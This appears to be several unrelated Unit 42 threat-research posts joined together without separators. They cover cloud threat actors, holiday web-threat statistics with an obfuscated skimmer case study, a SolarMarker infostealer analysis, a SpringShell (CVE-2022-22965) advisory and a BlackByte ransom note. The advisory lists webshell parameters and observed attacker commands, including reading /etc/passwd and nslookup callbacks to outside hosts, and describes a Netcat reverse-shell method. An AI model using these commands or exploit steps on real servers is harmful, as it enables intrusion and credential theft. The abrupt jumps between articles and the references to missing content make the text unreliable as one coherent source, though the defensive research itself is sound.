The Cloud Threat Actor Index highlights the top actors targeting cloud infrastructure, as well as nation-state actors that have been known to use the cloud to conduct attacks. Below is a preview of the top cloud threat actors that we’ve indexed. We charted their operations in our report, sorted by prevalence.
Top 5 Cloud Threat Actors
TeamTNT: The most well-known and sophisticated credential targeting group.
WatchDog: Considered to be an opportunistic threat group that targets exposed cloud instances and applications.
Kinsing: Financially motivated and opportunistic cloud threat actor with heavy potential for cloud credential collection.
Rocke: Specializes in ransomware and cryptojacking operations within cloud environments.
8220: Monero mining group, purportedly elevated their mining operations by exploiting Log4j in December 2021.
Top Advanced Persistent Threats Utilizing and Targeting Cloud Infrastructure
APT 28 (Fancy Bear).
APT 29 (Cozy Bear).
APT 41 (Gadolinium).
Figure 3. WatchDog Cloud Threat Actor TTPs. The red background denotes TTPs specific to cloud platforms, whereas the green background denotes TTPs which are container-platform specific. TTPs in red font denote operations that can lead to the wider compromise of cloud operations.
Recommendations
Proper IAM configuration can block unintended access, provide visibility into cloud activities and reduce the impact when security incidents occur.
Defense Against Cloud Threats
In particular, we recommend that organizations defend against threats that target the cloud in the following ways:
Cloud Native Application Protection Platform (CNAPP) suite integration.
Harden IAM permissions.
Increase security automation.
In our report we provide details on each of these recommendations, including an eight-step best practices guide to hardening IAM permissions.
Customers’ rising online shopping habits throughout the holiday season are well known, and it seemed likely that cybercriminals would want to capitalize. As we continue to track and observe trends in web threats and how attackers take advantage of them, we were able to use our web threat detection module to quantify the spike in malicious URLs during the most recent holiday season.
From October 2021 to December 2021, our web threat detection module, with the Palo Alto Networks proactive monitoring and detection service, found around 533,000 incidents of malicious landing URLs, 120,753 of which are unique landing URLs. It also detected around 2,900,000 malicious host URLs, 165,000 of which are unique malicious host URLs. We define a malicious landing URL as a URL that provides an opportunity for a user to click a malicious link. A malicious host URL is the page that actually contains a malicious snippet that could abuse a user’s computing power, steal sensitive information or perform other types of attacks.
The following sections present our analysis of findings regarding these web threat trends, including when they are more active, where they are hosted, what categories they belong to and which malware families present threats more often. We highlight the numbers from October to December 2021 in order to raise awareness of threats active in the holiday season.
Palo Alto Networks customers are protected from the web threats discussed here and many others via the Advanced URL Filtering and Threat Prevention cloud-delivered security subscriptions.
By collecting data from October-December 2021 with Advanced URL Filtering, we detected 533,452 incidents of landing URLs containing all kinds of web threats, 120,753 of which are unique URLs.
Web Threats Landing URLs Detection: Time Analysis
As shown in Figure 1, web threats were more active from November-December 2021 than September-October 2021, both for the total and unique hit numbers. As we mentioned in a previous blog, The Year in Web Threats: Web Skimmers Take Advantage of Cloud Hosting and More, this suggests that attackers, especially those targeting e-commerce websites, might be more active during the holiday shopping season. In order to track which web threats cybercriminals will leverage, we take a deeper look into the relationships between web threats’ class and time for trends analysis. We will show data in the Web Threats Malware Class Analysis section.
Figure 1. Web threats landing URLs distribution from September-December 2021. (Blue bars indicate all detections, including repeated detections of the same URL, and red bars indicate detection of unique URLs).
Web Threats Landing URLs: Geolocation Analysis
According to our analysis, the previously mentioned 120,753 unique URLs are from 21,430 unique domains. After identifying the geographical locations for these domain names, we found that the majority number of them seem to originate from the United States, followed by Russia and Germany. However, we recognize that the attackers might leverage proxy servers and VPNs located in those countries to hide their actual physical locations.
The choropleth map shown in Figure 2 indicates the wide distribution of these domain names across almost every continent, including Africa and Australia. Figure 3 shows the top eight countries where the owners of these domain names appear to be located.
Figure 2. Web threats landing URLs’ domain geolocation distribution from October-December 2021Figure 3. Top eight countries where web threat landing URLs’ domains appeared to be located from October-December 2021.
Web Threats Landing URLs: Category Analysis
We analyzed the landing URLs that were originally identified as benign to find common targets for cyberattackers – and where they may be trying to fool users. (These landing URLs currently lead to opportunities for users to click on malicious host URLs.) Going forward, all these landing URLs which lead to malicious code snippets will be marked as malicious by our product. As shown in Figure 4, the top apparently benign targets are personal sites and blogs, followed by business and economy sites and shopping sites. Because attackers often try to trick users into following malicious links from seemingly benign sites like this, we recommend that users exercise caution when visiting a website for the first time.
Figure 4. We divided landing URLs that originally appeared benign into categories. Here are the top 10 categories that hosted web threats from October-December 2021.
Web Threats Malicious Host URLs: Detection Analysis
With Advanced URL Filtering, we detected 2,906,875 incidents of malicious host URLs from October-December 2021, of which 165,255 are unique URLs. In the following section, we will take a closer look at those malicious host URLs. (“Malicious host URLs” specifically refers to pages that contain a malicious snippet that could abuse users' computing power, steal sensitive information and so on).
Web Threats Malicious Host URLs Detection: Time Analysis
As seen in our analysis of landing URLs, web threats were more active from November-December 2021 than September- October 2021 both for all hits and unique hits, as shown in Figure 5. The activity reached a peak in November, which might be due to Black Friday, a major shopping event in countries including the United States, U.K. and Germany.
Figure 5. Web threats malicious host URLs distribution from September-December 2021.
Web Threats Malicious Host URLs Detection: Geolocation Analysis
The 165,255 unique malicious host URLs belong to 14,891 unique domains – fewer unique domains than we observed for landing URLs. This suggests attackers target different entry points but often utilize fewer domain to host the malicious code. The total number of unique malicious host URLs, otherwise, is higher than of unique landing URLs.This suggests attackers will deploy more malicious code when they can leverage an entry point.
After identifying the apparent geographical locations for these domain names, we found that the majority of them also seem to originate from the United States – as we observed for web threats generally. Figure 6 shows the heat map.
Figure 6. Web threats malicious host URLs’ domain geolocation distribution from October-December 2021
Figure 7 shows the top eight countries where the owners of these domain names appear to be located. In contrast to what we observed for web threats overall – for which the top three countries were the United States, Germany and Russia – the top three host domain countries for malicious host URLs were the United States, the Netherlands and Russia. We can see that cyberminals could leverage different domains for malware host URLs and landing URLs.
Figure 7. Top eight countries where web threats malicious host URLs’ domains appeared to be located from October-December 2021.
As shown in Figure 8, JS downloader threats showed the most activity at the end of 2021, followed by cryptominers and web skimmers. As mentioned above, web threats as a whole have been rising in recent months. In order to track what types of web threats most contribute to this rise, we track the trends by different classes, which are shown in Figures 9-13. We can see that web skimmers, JS downloads and web scams followed the same trends as web threats as a whole – unique hits trend upward and total hits reach a peak in November. We believe cybercriminals are more aggressive while victims are more actively participating in online shopping.
JS redirector activity has been rising steadily (but without the November peak), and web miner activity remains relatively stable.
Figure 8. Top five web threats category distribution from October-December 2021.Figure 9. Web skimmer distribution from September-December 2021.Figure 10. Web miner distribution from September-December 2021.Figure 11. JS downloader distribution from September-December 2021.Figure 12. JS redirector distribution from September-December 2021.Figure 13. Web scam distribution from September-December 2021.
Web Threats Malware Family Analysis
Based on our classification of web threats explained in the previous section, we further organized our set of web threats by malware family. The family is important to understanding how threats work since threats in the same family share similar JavaScript code even if the HTML landing pages where they appear have different layouts and styles.
As we did in our yearly analysis, The Year in Web Threats: Web Skimmers Take Advantage of Cloud Hosting and More, we identified pieces of malware as part of a family by checking for certain characteristics: similar code patterns or behaviors or having originated from the same attacker. Figure 14 shows the number of snippets observed for the top 18 malware families we identified. As before, we see fewer families of cryptominers and JS downloaders, while web skimmers show more diversity in code and behavior.
Figure 14. Web threats malware family distribution from September-December 2021.
Web Threats Case Study
Among all of the web threats we detected in the course of this analysis, there is a particularly interesting case of a web threat with few VirusTotal detections at the time we discovered it.
This web skimmer sample was injected into a popular electronic product online shopping site. It used some advanced JavaScript features to obfuscate its malicious JavaScript code to evade detections from security vendors. The malicious JavaScript file was injected into many pages on the victim’s website (Figure 15 shows an example).
Figure 15. A web page on the victim’s website injected with a malicious JavaScript file.
We extracted the malicious JavaScript file from the third-party website for further analysis. The code snippet is shown in Figure 16.
Figure 16. The malicious web skimmer code snippet.
We can see the code is highly obfuscated and uses many tricks to mislead analysts.
First, we extract the most interesting part, Figure 17.
Figure 17. The malicious web skimmer code snippet.
The first line refers to a particular variable, _0x2d92 – however, that variable is not defined until later.
Will this code throw an exception? No, this is a special JavaScript syntax. JavaScript allows for a variable to be quoted before it is defined, but only if the variable is defined in the same file.
Similarly, the _0x52f6 variable is also defined later in the code. It is a function that includes an encrypted array.
Then, we found an anonymous function will be called. The _0x52f6 variable is a parameter, and the anonymous function uses the _0x2d92 function and lots of parseInt functions to decrypt the encrypted array.
One might ask, since the encrypted array is inside the _0x52f6 function, how does it modify it?
That is accomplished through an advanced JavaScript syntax used by this sample. For example, Figure 18:
Figure 18. The malicious web skimmer code snippet.
The code uses JavaScript closure syntax to create a persistent array. If we call onefunc()[0]=123, the first element of the array will be modified persistently.
After the anonymous function execution, we checked the array again and found it was still encrypted. This means it has two layers of encryption.
Next, we filtered out lots of useless code. Below, we show only a section that is related to the code snippet’s purpose, Figurer 19:
Figure 19. The malicious web skimmer code snippet.
The above code makes abundant use of xxxxfunc(array_index, decryption_key). This is the only way to read plain text from the double-encrypted array, and we find that each element of the array has a different decryption key.
Basically, this code logic is completely the same as a sample we analyzed in a previous blog on a web skimmer campaign.
At this point, we can decrypt the malware’s command and control (C2) server, which is defined in Gate: _0x2f1e7d(0x280, "H(U$").
Conclusion
As we saw previously, the most prevalent web threats are still cryptominers, JS downloaders, web skimmers, web scams and JS redirectors. Attackers’ top three targets among the landing URLs we analyzed were personal sites and blogs, business and economy sites and shopping sites.
Furthermore, we found that web threat activity rose during the holiday season in conjunction with customers’ rising shopping activities. This serves as a reminder to exercise caution while shopping for gifts for family and friends during the holiday season, particularly when visiting new websites.
While cybercriminals continue to seek opportunities for malicious cyber activities, Palo Alto Networks customers receive protections from the web threat attacks discussed here and many others via the Advanced URL Filtering and Threat Prevention cloud-delivered security subscriptions.
We also recommend the following actions:
Continuously update your Next-Generation Firewalls with the latest Palo Alto Networks Threat Prevention content.
If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:
North America Toll-Free: 866.486.4842 (866.4.UNIT42)
EMEA: +31.20.299.3130
APAC: +65.6983.8730
Japan: +81.50.1790.0200
Indicators of Compromise
Malicious Web Skimmer
SHA256: 69ae50160f22494759f89e2b318fe3f1342a87eeeeb4829fefaeafa4a560d57e
Acknowledgements
We would like to thank Billy Melicher, Alex Starov, Jun Javier Wang, Shresta Bellary Seetharam, Laura Novak and Erica Naone for their help with the blog.
Recently, we've identified a new version of SolarMarker, a malware family known for its infostealing and backdoor capabilities, mainly delivered through search engine optimization (SEO) manipulation to convince users to download malicious documents.
Some of SolarMarker’s capabilities include the exfiltration of auto-fill data, saved passwords and saved credit card information from victims’ web browsers. Besides capabilities typical for infostealers, SolarMarker has additional capabilities such as file transfer and execution of commands received from a C2 server.
The malware invests significant effort into defense evasion, which consists of techniques like signed files, huge files, impersonation of legitimate software installations and obfuscated PowerShell scripts.
Here, we dive into the technical details of the newly identified SolarMarker activity – specifically, how this malware often changes and modifies its attack patterns. For example, the recent version demonstrated an evolution from Windows Portable Executables (EXE files) to working with Windows installer package files (MSI files). According to the evidence we have, this campaign is still in development and going back to using executables files (EXE) as it did in its earlier versions.
Palo Alto Networks customers received protections against the newly discovered campaigns through Cortex XDR and WildFire.
SolarMarker is multi-stage malware. The attackers use obfuscated PowerShell scripts to deploy their attack and stay under the radar.
The primary infection vector of SolarMarker is SEO poisoning, which is an attack method in which threat actors create malicious websites packed with keywords and use search engine optimization techniques to make them show up prominently in search results.
Deployment of SolarMarker Infrastructure on a Victim Machine
The initial stage is an EXE file larger than 250MB (the large file size helps to avoid inspection by an automated sandbox or an AV engine). In this case, the file we analyzed was called setup.exe. based on the sample compilation date in February 2022, the demonstrated artifacts belong to a new development in the malware lifecycle.
Figure 1. Dropper file properties.Figure 2. The file is signed with valid digital certificates to further hide from detection. We assume a stolen code-signing cert from a legitimate company was used to sign SolarMarker – but at the time of writing, the certificate chain has been revoked.
This file is a .NET-compiled dropper that will drop and execute an installer of a legitimate program to avoid raising the user’s suspicion toward the downloaded binary.
Figure 3. Legitimate PDF Merge installer.Figure 4. The name of the legitimate dropped installer file is the same as the first stage file with the ”_install” suffix. (setup_install.exe)
In parallel, the malware runs a PowerShell loader in a new thread to load and execute the SolarMarker backdoor payload.
We can see the loaded script decoded by debugging the PowerShell invoke function.
Let's take a look at the script.
Figure 5. Obfuscated PowerShell script.Figure 6. To improve the readability of this PowerShell loader script, we removed various types of obfuscation and added comments.
Main Sections of the PowerShell Script
showWindowAsync makes PowerShell windows hidden to conceal malicious activity from the plain sight of users.
Writes the encrypted base64 payload of the SolarMarker backdoor to file with random extension into the TEMP folder.
Achieves persistence using the lnk file in the startup folder. The target file of the lnk is the encrypted base64 payload of the SolarMarker backdoor with the random extension. (This file cannot be run directly).
In Windows environments, every file extension is associated with a default program. The associations of extensions with programs are handled through the registry. SolarMarker sets a handler to the custom random extension to run the encrypted payload. This handler is a PowerShell script that decrypts the payload and loads the bytes of the encrypted payload (backdoor) into memory.
The attacker avoids downloading the assembly to disk and subverts it using the ”Load” method, which accepts a byte array instead of a file. The loading technique is called Reflective Code Loading.
In the first execution of the malware on the victim machine, the encrypted payload (backdoor) will load into the first stage of the malware (setup.exe) because, as we mentioned earlier, setup.exe opened a new thread in which it ran the PowerShell script.
After the reboot, the encrypted payload will load directly into the PowerShell process due to the lnk file from the startup folder.
Encrypted Payload
We’ve so far mentioned the encrypted payload many times. What exactly is it?
We can make a small change to the PowerShell script of the attacker to save the assembly to disk rather than loading it directly into memory. In addition, this can help us understand the functionality of this version of SolarMarker.
We got a .NET-compiled Dynamic-Link Library (.DLL) that contains the core code of the SolarMarker backdoor with an embedded C2 client.
When looking at the decompiled code and the names of the classes and functions, we can see that they don't look right. Instead, they look like they are obfuscated.
Figure 7. Obfuscated names of the classes and functions/obfuscated code doesn't make much sense.
After quickly running de4dot, we can see that it unpacked and deobfuscated:
Figure 8. Deobfuscated strings in functions.
SolarMarker Backdoor
The SolarMarker backdoor is a .NET C2 client that will communicate with the C2 server within the encrypted channel.
The protocol communication is HTTP – usually POST requests.
The data is encrypted using RSA encryption with Advanced Encryption Standard (AES) symmetric encryption.
Figure 9. Encrypted network communication with the C2 server.
The client performs internal reconnaissance, collects basic information about the victim machine and exfiltrates it over an existing C2 channel.
Figure 10. Exfiltrated data before encryption.
The client sends a signal to the attacker’s server to check for instructions or additional payloads at regular intervals (60 seconds).
The attacker can run a PowerShell script and transfer files to the victim machine.
The next stage is again a PowerShell encoded script that deploys the SolarMarker final payload (.NET Infostealer) and loads it into memory (this typically occurs about a few hours after the initial infection of the victim machine).
The attackers' servers and version names vary between the backdoor and infostealer modules.
SolarMarker Infostealer
In terms of its structure, the infostealer module looks very similar to the backdoor module we introduced earlier but has extended capabilities.
The SolarMarker infostealer module acquires login data, cookies and web data (auto-fill) from web browsers by reading files specific to the target browser. SolarMarker uses the API function CryptUnprotectData (DPAPI) to decrypt the credentials.
Figure 11. Data collection for exfiltration example.Figure 12. Collected data is exfiltrated as XML format.Figure 13. Data leakage exfiltration through HTTP encrypted channel.
Key Changes Observed in the New Version of SolarMarker
Let's summarize the main changes seen in the new version of SolarMarker:
Switches back to executables as the dropper instead of MSI.
Increases the dropper files to larger volumes.
The dropper files are always signed by a legitimate company.
Modified the PowerShell loader script.
In the first execution of the malware on the victim machine, the backdoor will load into the dropper process and not into the PowerShell process as in previous versions.
Conclusion
This blog post documents recent changes in SolarMarker behavior patterns. These updates appear to upgrade evasion abilities in an attempt to stay under the radar and demonstrate that SolarMarker continues to evolve.
In recent years, the security industry has come to realize the importance of behavior-based detectors to reduce the dwell time of threats inside their network.
Palo Alto WildFire Customers are protected from the SolarMarker malware.
Palo Alto Customers using Cortex XDR Prevent or Pro are protected from such campaigns in different layers, including over 30 Behavioral Threat Protection, BIOC, and Analytics BIOCs rules that identify the tactics and techniques that SolarMarker uses at different stages of its execution.
Most rules are not customized for SolarMarker and are based on unusual, rare behaviors – and therefore provide protection against many additional malware families and campaigns that use the same methods. On top of that, the Local Analysis Engine and WildFire integration provide additional layers of protection to Cortex customers.
Name:Zimmi Consulting Inc Serial Number: 06 FA 27 A1 21 CC 82 23 0C 30 13 EE 63 4B 6C 62 Status: Trust for this certificate or one of the certificates in the certificate chain has been revoked. Valid From:12:00 AM 02/18/2022 Valid To:11:59 PM 02/13/2023 Thumbprint:BA256F3716A5613B2DDA5F2DBD36ABC9AC321583Name:Divertida Creative Limited Serial Number: 08 83 DB 13 70 21 B5 1F 3A 2A 08 A7 6A 4B C0 66 Status: Trust for this certificate or one of the certificates in the certificate chain has been revoked. Issuer:DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1 Valid From:12:00 AM 07/28/2021 Valid To:11:59 PM 07/27/2022 Thumbprint:C049731B453AB96F0D81D02392C9FC57257E647D
Recently, two vulnerabilities were announced within the Spring Framework, an open-source framework for building enterprise Java applications. On March 29, 2022, the Spring Cloud Expression Resource Access Vulnerability tracked in CVE-2022-22963 was patched with the release of Spring Cloud Function 3.1.7 and 3.2.3. Two days later on March 31, 2022, Spring released version 5.3.18 and 5.2.20 of Spring Framework to patch another more severe vulnerability tracked in CVE-2022-22965. The CVE-2022-22965 vulnerability allows an attacker unauthenticated remote code execution (RCE), which Unit 42 has observed being exploited in the wild. The exploitation of this vulnerability could result in a webshell being installed onto the compromised server that allows further command execution.
Because the Spring Framework is widely used for web system development and the severity of the vulnerability is critical (CVSS score of 9.8), CVE-2022-22965 is given the name SpringShell (and/or Spring4Shell) by the infosec community. To understand the impact of this vulnerability, we analyzed all the available information and located the issue in the source code.
On April 8, we updated this blog to include statistics on SpringShell exploitation attempts that we identified by analyzing hits on the Spring Core Remote Code Execution Vulnerability threat prevention signature for the Palo Alto Networks Next-Generation Firewall, as well as alerts triggered in Cortex XDR. We also added a section on indicators.
Palo Alto Networks customers receive protections against CVE-2022-22965 and CVE-2022-22963 via products and services including Cortex XDR Prevent and Pro, a Threat Prevention subscription for the Next-Generation Firewall, and Prisma Cloud Compute.
Vulnerability Known As
SpringShell, Spring4Shell
CVEs Discussed
CVE-2022-22965, CVE-2022-22963, CVE-2010-1622
Vulnerability Type
Remote code execution
Affected Software and Versions
Existing proofs of concept (PoCs) for exploitation work under the following conditions:
JDK 9 or higher
Apache Tomcat as the Servlet container
Packaged as a traditional WAR (in contrast to a Spring Boot executable jar)
spring-webmvc or spring-webflux dependency
Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions
Any Java application using Spring Beans packet (spring-beans-*.jar) and using Spring parameters binding could be affected by this vulnerability.
Background on the Spring Framework
The Spring Framework is an open-source application framework and inversion of the control container for the Java platform. It is widely used in the industry by various programs and systems due to its powerful features and ease of use. Some well-known products such as Spring Boot and Spring Cloud are developed with the Spring Framework.
The Spring Core (spring-core) is the core of the framework that provides powerful features such as inversion of control and dependency injection. It contains the core, beans, context and Spring Expression Language (SpEL) modules.
Root Cause Analysis for CVE-2022-22965
The vulnerability is caused by the getCachedIntrospectionResults method of the Spring framework wrongly exposing the class object when binding the parameters.
The default Spring data binding mechanism allows developers to bind HTTP request details to application-specific objects. For example, there is a simple classical application scenario in which the developer creates a trade object to capture request parameters as shown in Figure 1.
Figure 1. Example trade object.
Then the developer creates a controller to use the object trade as shown in Figure 2.
Figure 2. Example controller using the trade object.
After that, the developer usually creates a request builder for the trade controller, which allows the web user to access the trade object remotely as shown in Figure 3.
Figure 3. Accessing a normal object.
When web users access trade object properties, the binding process (bindRequestParameters) in the Spring framework implementation will call the getCachedIntrospectionResults method to get and set the object property in the cache. However, the return object of the getCachedIntrospectionResults method includes a class object. This means that web users can get a class object remotely by simply submitting a URL as shown in Figure 4.
Figure 4. Accessing the class object.
Exposing the class object to web users is very dangerous and can lead to RCE in many ways. The class loader is often used by exploiting payloads to load some sensitive classes dynamically for object modification and code execution.
Background on Exploitation of the Class Loader
One easy way to get RCE is using the exposed class loader to modify the Tomcat log configuration and remotely upload a JSP web shell after changing the Tomcat log configuration. One example of changing the Tomcat log configuration by simply submitting a URL is shown in Figure 5. This is the exploit method used in the public PoC for the SpringShell vulnerability.
Figure 5. Modifying the Tomcat log configuration.
Early in 2010, CVE-2010-1622 was assigned to a remote code execution vulnerability in the Spring Framework. This vulnerability was due to the lack of proper check on the provided PropertyDescriptor in CachedIntrospectionResults() so that class.classLoader is allowed to be utilized to modify the search path of the system's class loader and cause the program to invoke remote Java code. For this vulnerability, the class loader plays a vital role in the exploitation.
In the Spring Framework version 2.5.6.SEC02, the vulnerability was fixed. However, while the original way of obtaining the class loader and exploiting it no longer works, a new feature of JDK was introduced in version 9, providing another way to obtain the class loader and making the exploit possible again.
The code snippet seen in Figure 6 shows the fix to CVE-2010-1622. The fix is to use a block list to exclude two methods: Class.getClassLoader() and getProtectionDomain() as highlighted in Figure 6. But using a block list runs the risk of being bypassed by the cases not on the list. And the Java 9 Platform Module System (JPMS) provides a way to bypass this block list.
Figure 6. Fix for CVE-2010-1622.
Establishing a Reverse Shell Connection to a Remote Server on the Compromised Server
The newly added module property makes it possible to modify the logging configuration so that a JSP webshell can be written into the web host folder via the logging function as shown in Figure 7.
Figure 7. getModule in JDK 9+
Figure 8 shows the payload drops a password-protected webshell in the Tomcat ROOT directory called shell7.jsp.
Figure 8. Write a JSP webshell into the web directory.
Attackers can then invoke any command through the JSP webshell. Figure 9 shows the example of executing Netcat to establish a reverse shell to a remote server on the compromised server.
Figure 9. Establish a reverse shell connection with Netcat.
SpringShell Exploit
Exploit code for this remote code execution vulnerability has been made publicly available. Unit 42 first observed scanning traffic early on March 30, 2022 with HTTP requests to servers that included the test strings within the URL. Figure 10 shows an example of the early scanning activity.
Figure 10. Scanning traffic from PAN-DB cloud logs.
While testing our Threat Prevention signatures, we observed additional scanning activity that included the exploit code within the data section of the HTTP POST request, as seen in Figure 11.
Figure 11. Scanning traffic from Threat Prevention signature triggers.
Once we deployed the Threat Prevention signatures, we analyzed the packet captures associated with our "Spring Core Remote Code Execution Vulnerability" signature and found that a majority of the activity was likely generated by variations of the publicly available PoC tools. Our analysis shows that the following filenames would store the webshell contents on the server in the event of successful exploitation:
The webshell contents written to these files are very similar to the code included in the publicly available PoC as well. There are two variants of the webshell. One was included in the PoC and uses the pwd parameter for authentication (password is always j) and the cmd parameter for the command to execute. The second variant does not use a parameter for authentication and uses id for the command to execute. Table 1 shows the parameters that the webshell saved to the server would use for authentication and command and how many times we saw them.
URL Parameters
Authentication
Command
Count
&id=<command>
id
337
&pwd=j&cmd=<command>
pwd
cmd
219
Table 1. Parameters used by webshells seen in hits on "Spring Core Remote Code Execution Vulnerability" signature.
We searched our telemetry for activity to webshells using the file names associated with the SpringShell activity, with the noted exception of shell.jsp, which is far too general. We have seen the unique commands listed below submitted to webshells. Of these, only the two commands involving /etc/passwd would possibly suggest malicious intent for exploitation – the rest of the commands suggest general scanning activity.
ls nslookup%20[redacted].test6.ggdd[.]co[.]uk nslookup+[redacted].test6.ggdd[.]co[.]uk ping%20[redacted].test6.ggdd[.]co[.]uk ping+[redacted].test6.ggdd[.]co[.]uk whoami cat%20/etc/passwd cat+/etc/passwd id ifconfig ipconfig ping%20[redacted].burpcollaborator[.]net
Observed in the Wild
Our Spring Core Remote Code Execution Vulnerability signature was released in the early hours of March 31. On April 7, we collected the seven days’ worth of activity since the signature release and found that the signature had triggered 43,092 times. Figure 12 shows the steady increase of total hits from March 31 until April 3, a fairly significant decrease on April 4, followed by an incline in activity on April 5 and 6. At this time, we have yet to confirm any successful exploitation attempts that led to a webshell installed onto the server outside of testing activity using purposefully vulnerable applications.
Figure 12. Chart showing hits per day on the Spring Core Remote Code Execution Vulnerability signature.
We observed a large amount of unique IP addresses during our analysis – with 2,056 addresses triggering the Spring Core Remote Code Execution Vulnerability signature. Table 2 shows the top 15 IP addresses seen as the source that triggered our signature, which accounts for just over 50% of all of the activity we observed.
Count
IP
4064
172.16.0.0/12
2664
10.0.0.0/8
1680
178.79.148[.]229
1504
82.165.137[.]177
1351
172.104.159[.]48
1336
109.74.204[.]123
1188
5.253.204[.]37
1092
185.245.85[.]232
1090
185.196.3[.]23
1080
172.104.140[.]107
1080
207.246.101[.]107
1004
45.33.101[.]246
963
45.33.65[.]249
911
195.246.120[.]148
865
176.125.229[.]145
Table 2. Top 15 source IPs triggering the Spring Core Remote Code Execution Vulnerability signature.
We were able to analyze 31,953 packet captures that triggered the Spring Core Remote Code Execution Vulnerability signature to determine the webshell filenames and the webshell contents that would be saved to the server in the event of successful exploitation. In many cases, the webshell file names had .jsp extensions, which would allow for a successful exploitation to install a working webshell. However, in many cases the filename had an extension that would not support a webshell, such as .js and .txt, which we believe was used just to mark the presence of a successful file upload as part of vulnerable server discovery efforts. At the time of writing, we have observed 95 unique webshell filenames, which we have included in the indicators section.
A majority of the activity used the tomcarwar.jsp filename that was used in the initial PoC script, which accounted for over 57% of the filenames observed. In fact, the top three filenames – tomcarwar.jsp, checkexploit.jsp and javatestfila.jsp – account for over 84% of the activity with known webshell filenames. The pie chart in Figure 13 shows a high-level breakdown of the most common filenames.
Figure 13. Pie chart showing the most common webshell file names observed.
A majority of the packets we analyzed showed the webshell contents did not differ far from the webshell seen in the original proof-of-concept script, which can be seen in Figure 14. Another very common webshell seen within our telemetry is the exact same with different HTTP parameters and values used by the webshell, as seen in Figure 15.
Figure 14. Webshell pattern seen in exploit attempts from original PoC script.Figure 15. Webshell pattern seen in exploit attempts with slight modifications to original PoC script.
We also observed a significant amount of exploit attempts using content that again was a modification of the initial webshell in the proof-of-concept. Figure 16 shows the contents that we observed in the wild, which should not be considered a webshell as it does nothing more than display SPRING_CORE_RCE. The lack of webshell functionality suggests that this is likely uploaded by scanners attempting to discover servers vulnerable to SpringShell.
Figure 16. Pattern seen in exploit attempts used for vulnerable server discovery.
More recently, we have seen an uptick in webshell content as seen in Figure 17, which is related to another proof-of-concept script created by K3rwin. This particular webshell will load a base64 encoded class that will contain the functionality desired by the actor. This particular webshell is based on AntSword’s shell.jsp, which was modified to use a parameter of k3rwin instead of ant to load the class.
Figure 17. Webshell pattern seen in exploit attempts from K3rwin’s PoC script.
The only malicious activity we have seen in our telemetry related to SpringShell involves HTTP requests to URLs containing the tomcatwar.jsp filename associated with the SpringShell proof-of-concept script. The activity involved parameters issued to the webshell that would run a command to download and execute a script from a remote server as seen in the following:
Upon further analysis, the t.sh script hosted on this remote server is related to the Mirai botnet. The requests above were sent from the IP address 194.31.98[.]186, which itself has hosted payloads associated with Mirai as well. Inbound attempts to exploit the SpringShell vulnerability from 194.31.98[.]186 attempted to install the webshell from the original proof-of-concept seen in Figure 14. Our signatures blocked the initial attempt to exploit the vulnerability so we cannot confirm if Mirai’s attempts to exploit SpringShell have been successful. Both Netlab 360 and Trend Micro also observed Mirai activity related to the SpringShell vulnerability.
In addition to our threat prevention signatures, we analyzed the alerts triggered in Cortex XDR and found 116 events between April 4 and April 8. A majority of these alerts are triggered by testing of the proof-of-concept tools previously mentioned above. We also observed several alerts involving a docker container named spring4shell, which had a /helloworld directory and had a listening port tcp/8080. We believe these docker containers are also part of internal testing efforts using publicly available docker containers, such as Spring4Shell-POC. The signature triggered on the creation of the webshell files, of which we observed the following file written:
SpringShell is officially assigned CVE-2022-22965, and the patch was released on March 31, 2022. Since exploitation is straightforward and all the relevant technical details have already gone viral on the internet, it’s possible that SpringShell will become fully weaponized and abused on a larger scale. Developers and users who have projects or products based on JDK9+ and the Spring Framework (or its derivatives) are strongly urged to patch as soon as possible.
While CVE-2022-22963 is a different vulnerability in Spring Cloud Function (not technically part of SpringShell), a Threat Prevention signature is also available to ensure coverage at the perimeter. Unit 42 researchers are proactively monitoring info related to other recently disclosed Spring vulnerabilities and will proceed to provide coverage as soon as more info has become available.
Unit 42 is actively monitoring malicious traffic through our devices and cloud solutions.
The Palo Alto Networks Product Security Assurance team is evaluating CVE-2022-22963 and CVE-2022-22965 as relates to Palo Alto Networks products and currently assigns this a severity of none.
Palo Alto Networks Next-Generation Firewall with a Threat Prevention subscription can block the attack traffic related to this vulnerability.
CVE-2022-22965 Coverage: Threat IDs 92393 and 92394 (Application and Threat content update 8551).
CVE-2022-22963 Coverage: Threat ID 92389 (Application and Threat content update 8551).
Command and control traffic generated by a webshell that is part of SpringShell vulnerability exploitation: Threat ID 83239 (Application and Threat content update 8551).
Palo Alto Networks Prisma Cloud can detect the presence of both CVE-2022-22965 and CVE-2022-22963 across all Compute environments.
Palo Alto Networks Cortex XDR Prevent and Pro customers running agent version 7.4 and above with content version 450-87751 on Linux devices are protected from CVE-2022-22963 using the Java Deserialization module; customers running agent version 7.7 and content 480 and above are protected from CVE-2022-22963 and CVE-2022-22965 for both Windows and Linux using the Java Deserialization module; other OSes and exploits receive protections from post-exploitation activities using Behavioral Threat Protection, Password Theft Prevention, Anti Ransomware and other Anti Exploitation modules. Cortex XDR Pro customers also have visibility into post-exploitation activities and can specifically track the “Process execution with a suspicious command line indicative of the Spring4Shell exploit” and “Suspicious HTTP Request to a vulnerable Java class” Analytics BIOCs. Furthermore, customers can create a BIOC from an XQL query looking for the dropped webshell IoCs to detect exploitation attempts in their environments.
Palo Alto Networks Cortex XSOAR customers can leverage the "Spring Core and Cloud Function SpEL RCEs" pack to automatically detect and mitigate the vulnerabilities. Read more on the XSOAR marketplace.
![A BlackByte warning message shown in the screenshot reads, "Attention!!! we had some maintenance, if your access to the chat lost, please mail us your company name and the old link you got, so we can renew your access, we use only this mail for support: blackbytesupport@onionmail[.]org we have seen in some places that there is a decryption for our ransom we would not recommned you to use that because we do not use only 1 key. if you will use the wrong decryption for your system you may break everything, and you wont be able to restore your system again we just want to warn you. if you do decide to use that, it's at your own risk. Thanks to "SpiderLabs" aka ClownLabs, because of you many systems will be broken without any chance to recovery."](https://unit42.paloaltonetworks.com/wp-content/uploads/2022/04/word-image-26.png)
